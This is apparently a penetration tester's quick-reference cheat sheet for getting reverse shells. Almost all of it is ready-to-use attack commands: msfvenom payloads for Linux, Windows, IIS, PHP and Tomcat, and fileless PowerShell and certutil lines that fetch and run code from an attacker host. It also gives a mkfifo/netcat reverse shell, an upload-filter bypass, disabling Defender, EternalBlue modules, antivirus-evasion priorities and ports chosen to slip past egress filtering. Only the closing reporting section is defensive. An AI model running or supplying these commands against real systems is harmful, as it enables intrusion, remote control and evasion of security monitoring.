πŸ›‘οΈ Methodology Checklist

  • Choose shell type based on available vector and OS
  • Linux reverse: bash, python, perl, ruby options
  • Windows reverse: PowerShell, msfvenom EXE, Nishang
  • Web shells: PHP, ASPX, JSP based on server tech
  • Start listener before delivery
  • Stabilise shell immediately after catch
  • Move to Meterpreter for advanced capability when possible

🎯 Operational Context

Use when: Need a working reverse shell one-liner fast β€” cross-reference by available interpreter on target. Think Dumber First: Check what’s on the target first: which python python3 perl ruby php nc bash. Match the one-liner to what’s installed. Don’t spend 20 minutes debugging a Python reverse shell if nc is available. Skip when: N/A β€” quick reference document.


⚑ Tactical Cheatsheet

CommandTactical Outcome
ping [TARGET_IP]OS fingerprint via TTL (128=Windows, 64=Linux)
sudo nmap -v -O -sC -sV [TARGET_IP]Full OS + service detection scan
use auxiliary/scanner/smb/smb_ms17_010Scan for EternalBlue
msfvenom -l payloadsList all MSFvenom payloads
msfvenom -p linux/x64/shell_reverse_tcp LHOST=[LHOST] LPORT=[LPORT] -f elf > shell.elfLinux ELF stageless reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=[LHOST] LPORT=[LPORT] -f exe > shell.exeWindows EXE stageless reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=[LHOST] LPORT=[LPORT] -e x86/shikata_ga_nai -i 10 -f exe > enc.exeEncoded Windows reverse shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=[LHOST] LPORT=[LPORT] -f aspx -o shell.aspxASPX reverse shell (IIS)
msfvenom -p php/reverse_php LHOST=[LHOST] LPORT=[LPORT] -f raw > shell.phpPHP reverse shell
echo 'GIF89a;' > shell.php && msfvenom -p php/reverse_php LHOST=[LHOST] LPORT=[LPORT] -f raw >> shell.phpPHP + GIF magic bytes bypass
msfvenom -p java/jsp_shell_reverse_tcp LHOST=[LHOST] LPORT=[LPORT] -f war -o shell.warWAR file reverse shell (Tomcat)
sudo python3 -m http.server 80Host payloads for delivery
IEX(New-Object Net.WebClient).DownloadString('http://[LHOST]/shell.ps1')Fileless PS payload delivery
wget "http://[LHOST]/shell.ps1" -OutFile "shell.ps1"; .\shell.ps1Download + execute PS script
certutil.exe -urlcache -split -f "http://[LHOST]/shell.ps1" C:\Windows\Temp\shell.ps1LOLBAS delivery (Certutil)
Set-MpPreference -DisableRealtimeMonitoring $trueDisable Defender (lab only)
sudo nc -lvnp [LPORT]Catch incoming reverse shell
nc -nv [TARGET_IP] [PORT]Connect to bind shell
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -lvnp [LPORT] > /tmp/fLinux bind shell one-liner
use exploit/windows/smb/psexecMSF PsExec (requires admin creds)
use exploit/windows/smb/ms17_010_psexecMSF EternalBlue exploit
curl -X POST -F "file=@shell.aspx;type=image/png" http://[DOMAIN]/upload.phpMIME type spoofing upload
python3 -c 'import pty; pty.spawn("/bin/bash")'Step 1: PTY spawn (stabilization)
stty raw -echo; fgStep 2: Fix terminal + foreground (local)
reset; export TERM=xtermStep 3: Final terminal polish
stty rows [ROWS] cols [COLS]Fix terminal dimensions
perl -e 'exec "/bin/sh";'Perl interactive shell breakout
ruby -e 'exec "/bin/sh"'Ruby interactive shell breakout
awk 'BEGIN {system("/bin/sh")}'AWK interactive shell breakout
find . -exec /bin/sh \; -quitfind binary breakout
vim -c ':!/bin/sh'vim breakout
sudo -lCheck sudo privileges (post-stabilization)

πŸ”¬ Deep Dive & Workflow

Payload Decision Tree

Target is Windows?
  β”œβ”€β”€ IIS running? β†’ ASPX payload (msfvenom -f aspx)
  β”œβ”€β”€ Can deliver EXE? β†’ msfvenom -f exe
  β”œβ”€β”€ PS accessible? β†’ Nishang IEX delivery (fileless)
  └── Authenticated SMB? β†’ MSF psexec

Target is Linux?
  β”œβ”€β”€ Web app with file upload? β†’ PHP web shell
  β”œβ”€β”€ Can run binary? β†’ msfvenom -f elf
  β”œβ”€β”€ Bash accessible? β†’ mkfifo nc reverse shell
  └── MSF module exists? β†’ use exploit/linux/http/...

Shell Stabilization Quick Reference

python3 -c 'import pty; pty.spawn("/bin/bash")'
[Ctrl+Z]
stty raw -echo; fg
reset
export TERM=xterm

AV Evasion Priority

  1. Fileless (IEX) β€” best; never touches disk
  2. Encoding (Shikata Ga Nai) β€” bypasses static scan
  3. Custom payloads β€” modify shellcode, avoid known signatures
  4. LOLBAS delivery β€” certutil/BITSAdmin for download stage

Key Ports for Reverse Shells

PortReason
443HTTPS β€” almost never blocked
80HTTP β€” usually allowed
53DNS β€” critical infra, rarely filtered
4444MSF default β€” avoid in real engagements

πŸ› οΈ Troubleshooting & Edge Cases

ProblemCauseFix
Bash one-liner fails/bin/bash not at /bin/bashTry /bin/sh instead; locate with which bash sh
Python reverse shell gets no TTYNo pty moduleAdd: import pty; pty.spawn('/bin/bash') after connection established
PHP shell not executingPHP disabled or wrong syntaxTest: php -r 'echo "ok";'; use shell_exec() if exec() disabled
PowerShell one-liner too longCharacter limit in injectionBase64 encode: powershell -enc [BASE64]; use msfvenom to generate proper encoded payload
nc -e not availableBSD netcat installedUse mkfifo: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc [LHOST] [LPORT] >/tmp/f

πŸ“ Reporting Trigger

Finding Title: Interactive Shell Obtained via Reverse Shell One-Liner Impact: Language interpreter-based reverse shells leverage trusted system binaries to establish C2 channel, achieving interactive RCE without requiring file upload or binary execution. Root Cause: Interpreter (Python, PHP, Perl) available on target system with outbound network access and no restriction on socket creation. Recommendation: Restrict interpreter access for service accounts. Implement egress filtering. Monitor for interpreter processes establishing outbound TCP connections. Apply AppArmor/SELinux profiles.